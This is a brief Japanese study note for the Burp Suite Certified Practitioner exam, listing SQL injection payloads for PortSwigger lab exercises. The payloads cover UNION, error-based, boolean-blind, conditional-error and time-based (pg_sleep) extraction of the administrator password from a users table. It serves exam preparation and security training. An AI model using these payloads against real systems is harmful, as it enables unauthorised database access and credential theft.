<aside> 💡 BSCP (Burp Suite Certified Practitioner) 受験準備に作成したので、ちょっと内容がspecificになっているのはご愛嬌
</aside>
What is SQL Injection? Tutorial & Examples | Web Security Academy
SQL injection cheat sheet | Web Security Academy
'+UNION+SELECT+username,+password+FROM+users--
https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-data-from-other-tables
TrackingId=xyz' AND 1=<u>**CAST((SELECT username FROM users LIMIT 1) AS int)**</u>--
ERROR: invalid input syntax for type integer: "administrator”
https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based
単純ケース: SQLの実行結果のrow数(つまりWHEREヒット有無)により、HTTPレスポンスの違いが観測できる場合
TrackingId=xyz'||<u>**(SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a**</u>
面倒ケース: WHEREヒット有無だけではHTTPレスポンスの違いがないが、SQLエラーを引き起こせれば違いがある場合
CASE WHEN (DBごとの方言) により 1/0 などやってSQLエラーを引き起こす
TrackingId=xyz'||(SELECT CASE WHEN <u>**SUBSTR(password,1,1)='a'**</u> THEN <u>**TO_CHAR(1/0)**</u> ELSE '' END FROM users WHERE username='administrator')||'
https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors
TrackingId=xyz'%3BSELECT+CASE+WHEN+(username='administrator'+AND+<u>**SUBSTRING(password,2,1)='a'**</u>)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--